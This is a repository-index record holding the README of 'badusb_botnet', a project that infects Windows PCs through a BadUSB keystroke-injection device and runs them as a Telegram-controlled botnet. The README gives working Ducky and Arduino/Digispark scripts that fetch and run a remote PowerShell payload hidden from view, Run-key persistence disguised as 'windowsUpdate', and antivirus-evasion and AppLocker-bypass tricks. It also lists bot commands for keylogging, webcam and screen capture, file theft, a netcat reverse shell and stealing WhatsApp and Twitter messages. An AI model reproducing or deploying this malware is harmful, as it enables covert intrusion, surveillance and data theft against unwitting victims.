{"id":14987021,"url":"https://github.com/alexfrancow/badusb_botnet","last_synced_at":"2025-08-20T14:32:39.057Z","repository":{"id":37264618,"uuid":"144571961","full_name":"alexfrancow/badusb_botnet","owner":"alexfrancow","description":":busts_in_silhouette::smiling_imp: Infect a pc with badusb and establish a connection through telegram.","archived":false,"fork":false,"pushed_at":"2023-03-08T17:13:09.000Z","size":1962,"stargazers_count":163,"open_issues_count":2,"forks_count":48,"subscribers_count":10,"default_branch":"master","last_synced_at":"2024-11-25T09:51:38.287Z","etag":null,"topics":["arduino","atmega32u4","badusb","botnet","command-and-control","hacking","infosec","keylogger","powershell","remote-control","streaming","telegram","twitch","twitter","whatsapp-web"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/alexfrancow.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-08-13T11:42:23.000Z","updated_at":"2024-11-23T17:36:17.000Z","dependencies_parsed_at":"2024-09-19T20:00:46.461Z","dependency_job_id":"5a8053bf-d3bf-4a18-ba5d-bd675f2a5c82","html_url":"https://github.com/alexfrancow/badusb_botnet","commit_stats":{"total_commits":159,"total_committers":1,"mean_commits":159.0,"dds":0.0,"last_synced_commit":"3b3fa7cf4ab5ed6114702f9b41bb8b9a05d0ee3d"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexfrancow%2Fbadusb_botnet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexfrancow%2Fbadusb_botnet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexfrancow%2Fbadusb_botnet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alexfrancow%2Fbadusb_botnet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alexfrancow","download_url":"https://codeload.github.com/alexfrancow/badusb_botnet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":230431103,"owners_count":18224655,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arduino","atmega32u4","badusb","botnet","command-and-control","hacking","infosec","keylogger","powershell","remote-control","streaming","telegram","twitch","twitter","whatsapp-web"],"created_at":"2024-09-24T14:13:58.270Z","updated_at":"2024-12-19T12:11:36.829Z","avatar_url":"https://github.com/alexfrancow.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# badusb_botnet\n:smiling_imp::busts_in_silhouette: Infect a pc with badusb and establish a connection through telegram.\n\n[![](https://img.shields.io/badge/twitter-@alexfrancow-00aced?style=flat-square\u0026logo=twitter\u0026logoColor=white)](https://twitter.com/alexfrancow) [![](https://img.shields.io/badge/linkedin-@alexfrancow-0084b4?style=flat-square\u0026logo=linkedin\u0026logoColor=white)](https://www.linkedin.com/in/alexfrancow)\n\n# Configuration\n\n```powershell\n############\n## CONFIG ##\n############\n\n$BotToken = \"\u003cBOTTOKEN\u003e\"\n$ChatID = '\u003cCHATID\u003e'\n$githubScript = '\u003cyou_fork/poc.ps1\u003e'\n```\n\u003e*To create a telegram bot: https://core.telegram.org/bots#6-botfather*\n\n\u003e*To get ChatID: https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id*\n\n## Option 1: Powershell\n\n\u003cp align=\"center\"\u003e\n    \u003cimg src=\"https://upload.wikimedia.org/wikipedia/commons/2/2f/PowerShell_5.0_icon.png\" height=\"100px\" width=\"100px\"/\u003e\n\u003c/p\u003e\n\n### Option 1.1: Simple\n\n```powershell\n\u003e [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n\u003e (new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')\n\u003e powershell.exe -windowstyle hidden -file poc.ps1\n```\n\n```\nDELAY 3000\nGUI r\nDELAY 500\nSTRING powershell\nDELAY 500\nENTER\nDELAY 750\nSTRING [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nDELAY 500\nENTER\nSTRING (new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')\nDELAY 500\nENTER\nSTRING powershell.exe -windowstyle hidden -file poc.ps1\nDELAY 500\nENTER\n```\n\n\u003e Link to convert to .ino: https://malduino.com/converter/\n\n### Option 1.2: Backdoor\n\n```powershell\n\u003e reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v windowsUpdate /f\n\u003e Invoke-WebRequest -Uri https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1 -OutFile C:\\Users\\$env:username\\Documents\\windowsUpdate.ps1\n\u003e reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v windowsUpdate /t REG_SZ /d \"powershell.exe -windowstyle hidden -file C:\\Users\\$env:username\\Documents\\windowsUpdate.ps1\"\n```\n```\nDELAY 3000\nGUI r\nDELAY 500\nSTRING powershell\nDELAY 500\nENTER\nDELAY 750\nSTRING reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v windowsUpdate /f\nDELAY 500\nENTER\nSTRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1 -OutFile C:\\Users\\$env:username\\Documents\\windowsUpdate.ps1\nDELAY 500\nENTER\nSTRING reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v windowsUpdate /t REG_SZ /d \"powershell.exe -windowstyle hidden -file C:\\Users\\$env:username\\Documents\\windowsUpdate.ps1\"\nDELAY 500\nENTER\n```\n\n\u003e Link to convert to .ino: https://malduino.com/converter/\n\n## Option 2: CMD\n\n\u003cp align=\"center\"\u003e\n    \u003cimg src=\"https://winaero.com/blog/wp-content/uploads/2015/09/console-cmd-icon.png\" height=\"100px\" width=\"100px\"/\u003e\n\u003c/p\u003e\n\nWindows Powershell is too slow at startup, so we can use cmd to download the '.ps1' file and execute it. To download a file with cmd, we can use two options: ```bitsadmin``` or ```certutil.exe```. (Certutil is not installed by default on XP/Win2003 but is avaialble on the newer windows versions. For XP/2003 you'll need the Admin Tool Pack for windows server 2003).\n\n#### Syntax\n\n```cmd\n\u003e bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\\10mb.zip\n\u003e certutil.exe -urlcache -split -f \"https://download.sysinternals.com/files/PSTools.zip\" pstools.zip\n```\n### Option 2.1: Simple\n\n```cmd\n\u003e certutil.exe -urlcache -split -f \"https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1\" \"Documents/windowsUpdate.ps1\"\n\u003e powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted\n\u003e powershell.exe -windowstyle hidden -file \"Documents/windowsUpdate.ps1\"\n```\n\nor\n\n```cmd\n\u003e certutil.exe -urlcache -split -f \"https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1\" \"Documents/windowsUpdate.ps1\"\n\u003e powershell.exe -windowstyle hidden -executionPolicy bypass -file \"Documents/windowsUpdate.ps1\"\n```\n\n\u003e Avast detects this last option.\n\n### Option 2.2: Backdoor\n\n```cmd\n\u003e certutil.exe -urlcache -split -f \"https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1\" Documents\\windowsUpdate.ps1\n\u003e powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted\n\u003e reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v windowsUpdate /t REG_SZ /d \"powershell.exe -windowstyle hidden -file C:\\Users\\$env:username\\Documents\\windowsUpdate.ps1\"\n\u003e reboot (?)\n```\n\n## Example with digispark\n\n\u003cp align=\"center\"\u003e\n    \u003cimg src=\"https://img.staticbg.com/thumb/large/oaupload/banggood/images/78/0D/5586c82c-2791-44cf-baa6-3ebc5882ac2e.jpg\" height=\"100px\" width=\"100px\"/\u003e\n\u003c/p\u003e\n\n```c\n#define kbd_es_es\n#include \"DigiKeyboard.h\"\nvoid setup() {\n}\n\nvoid loop() {\nDigiKeyboard.sendKeyStroke(0);\nDigiKeyboard.delay(500);\nDigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);\nDigiKeyboard.delay(500);\nDigiKeyboard.print(\"powershell -noe -c \\\". mode.com con: lines=1 cols=40\\\"\");\n//DigiKeyboard.print(\"cmd\");\n//DigiKeyboard.print(\"cmd /k mode con:cols=20 lines=1\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nDigiKeyboard.delay(3000);\nDigiKeyboard.print(\"Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nDigiKeyboard.delay(200);\nDigiKeyboard.print(\"S\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nDigiKeyboard.delay(500);\nDigiKeyboard.print(\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nDigiKeyboard.delay(500);\nDigiKeyboard.print(\"(new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nDigiKeyboard.delay(500);\nDigiKeyboard.print(\"powershell.exe -windowstyle hidden -file poc.ps1\");\nDigiKeyboard.sendKeyStroke(KEY_ENTER);\nfor (;;) {\n/*empty*/\n    }\n}\n```\n\n- Get the drivers: https://github.com/digistump/DigistumpArduino/releases\n\n- Additional Board Manager URL: https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json\n\n- DigiKeyboard Source Code: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h\n\n\u003e Keyboard en_US to es_ES: https://github.com/ernesto-xload/DigisparkKeyboard\nDecompress the archive and put all in : ```C:\\Users\\Administrador\\AppData\\Local\\Arduino15\\packages\\digistump\\hardware\\avr\\1.6.7\\libraries\\DigisparkKeyboard```, later in the script you must put the following line to specify the keyboard layout.\n```c\n#define kbd_es_es\n```\n\n## Example with ATMega32u4\n\n\u003cp align=\"center\"\u003e\n    \u003cimg src=\"https://steemitimages.com/DQmbXKQU5FScuc9bdhPjjVwBbFy4EK7LuTFtnMe7vEjV7W7/badusb.png\" height=\"100px\" width=\"150px\"/\u003e\n\u003c/p\u003e\n\n\u003e First, we need put the keyboard.h library in es_ES, to do this you can copy the Keyboard directory of this project into: \n\"C:\\Program Files (x86)\\Arduino\\libraries\".\n\n```c\n#include \u003cKeyboard.h\u003e\n\nvoid setup() {\n  Keyboard.begin(); //Start keyboard communication\n  delay(3000);\n  Keyboard.press(KEY_LEFT_GUI);\n  delay(500);\n  Keyboard.press('r');\n  Keyboard.releaseAll();\n  delay(500);\n\n  Keyboard.println(\"cmd\");\n  delay(500);\n  Keyboard.press(KEY_RETURN);\n  delay(100);\n  Keyboard.releaseAll();\n\n  Keyboard.println(\"certutil.exe -urlcache -split -f \\\"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\\\" \\\"Documents/poc.ps1\\\"\");\n  delay(500);\n  Keyboard.press(KEY_RETURN);\n  Keyboard.release(KEY_RETURN);\n\n  Keyboard.println(\"powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted\");\n  delay(500);\n  Keyboard.press(KEY_RETURN);\n  Keyboard.release(KEY_RETURN);\n\n  Keyboard.println(\"powershell.exe -windowstyle hidden -file \\\"Documents/poc.ps1\\\"\");\n  delay(500);\n  Keyboard.press(KEY_RETURN);\n  Keyboard.release(KEY_RETURN);\n}\nvoid loop() {\n}\n```\n\nWe use the ```\\\"``` to scape the double quotes in Arduino code.\n\n### Example with bitsadmin\n\n```c\nKeyboard.println(\" bitsadmin /transfer \\\"Descargando Drivers USB\\\" /download /priority high \\\"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\\\" %TEMP%/poc.ps1 \u0026\u0026 echo Instalando Drivers: \");\n```\n\n## Evade AVs\n\n### Obfuscating Binary Names\n#### For Loop Value Extraction\n\n```FOR /F “delims=s\\ tokens=4” %a IN (‘set^|findstr PSM’)DO %a```\n\nExample:\n```c\nKeyboard.println(\" FOR /F \\\"delims=/ tokens=1\\\" %a IN ('where certutil')DO %a -urlcache -split -f \\\"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\\\" \\\"Documents/poc.ps1\\\" \");\n```\n\n## Bypass AppLocker\n\nPolicies of AppLocker are stored in ```HKEY_LOCAL_Machine\\Software\\Policies\\Microsoft\\Windows\\SrpV2```, You can verify the folders in which you have permission to run .ps1 scripts.\n\n### Telegram Options\n\n#### Basic\n\n- /list (List all devices availables)\n- /select ```IP``` ```command``` (Execute a command)\n- /stop ```IP``` (Stop remote connection)\n- /cleanAll ```IP``` (Clean all files)\n- /ipPublic ```IP``` (Geolocate IP)\n- /download ```IP``` ```file``` (Download a file from PC)\n\n#### Advanced\n\n- /screenshot ```IP``` (Capture screen)\n- /backdoor ```IP``` (Create a persistent backdoor)\n- /webcam ```IP```\n- /keylogger ```IP``` ```time in seconds```\n- \u003cimg src=\"http://icons-for-free.com/free-icons/png/512/298878.png\" width=\"24px\" height=\"24px\" /\u003e /nc ```IP``` ```IP to connect ($ip)``` (First you must use ```nc -lp 8888 -v``` to create a listener)\n- \u003cimg src=\"http://icons-for-free.com/free-icons/png/512/298878.png\" width=\"24px\" height=\"24px\" /\u003e /stopnc ```IP``` (Stop nc.exe and erase all archives) \n\n#### Ultra :squirrel: \n\n- /hackT ```IP``` (Get Twitter messages if the victim is authenticated) [Only web - W10]\n- /hackW ```IP``` (Get WhatsApp messages if the victim is authenticated) [Only Web - W10]\n- \u003cimg src=\"https://static-cdn.jtvnw.net/emoticons/v1/112290/1.0\" width=\"24px\" height=\"24px\" /\u003e  /starttwitch ```IP``` ```STREAM_KEY``` (Start a video transmission on Twitch with ffmpeg)\n- \u003cimg src=\"https://static-cdn.jtvnw.net/emoticons/v1/112290/1.0\" width=\"24px\" height=\"24px\" /\u003e  /stoptwitch ```IP``` (Stop ffmpeg.exe and erase all archives) \n\n### PoCs\n\n:link::tv: [TOUR - POC](https://youtu.be/pFR8B0HNfts \"TOUR - POC\")\n\n:link::tv: [TWITCH STREAMING - POC](https://youtu.be/3GBIVNhHT0Y \"TWITCH STREAMING - POC\")\n\n:link::tv: [KEYLOGGER - POC](https://youtu.be/f6JCPnsyGp0 \"KEYLOGGER -POC\")\n\n:link::tv: [DIGISPARK - POC](https://youtu.be/ojcYAvVuBSw \"DIGISPARK -POC\")\n\n##### {TODO}\n\n- Change all Invoke-WebRequest to cURL. (Invoke-WebRequest requires set up Internet Explorer)\n- Create an ID for each connected user.\n- Hack WhatsApp on .exe.\n- :heavy_check_mark: Fix Twitch streaming.\n- :heavy_check_mark: Fix keylogger.\n- Add monitor selector to screenshot.\n- Add windows version detector in HackTwitterW10() and hackWhatsAPPW10() functions.\n- Add hackGmail().\n- :heavy_check_mark: Verbose via telegram messages.\n- :heavy_check_mark: Netcat reverse connection.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falexfrancow%2Fbadusb_botnet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Falexfrancow%2Fbadusb_botnet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falexfrancow%2Fbadusb_botnet/lists"}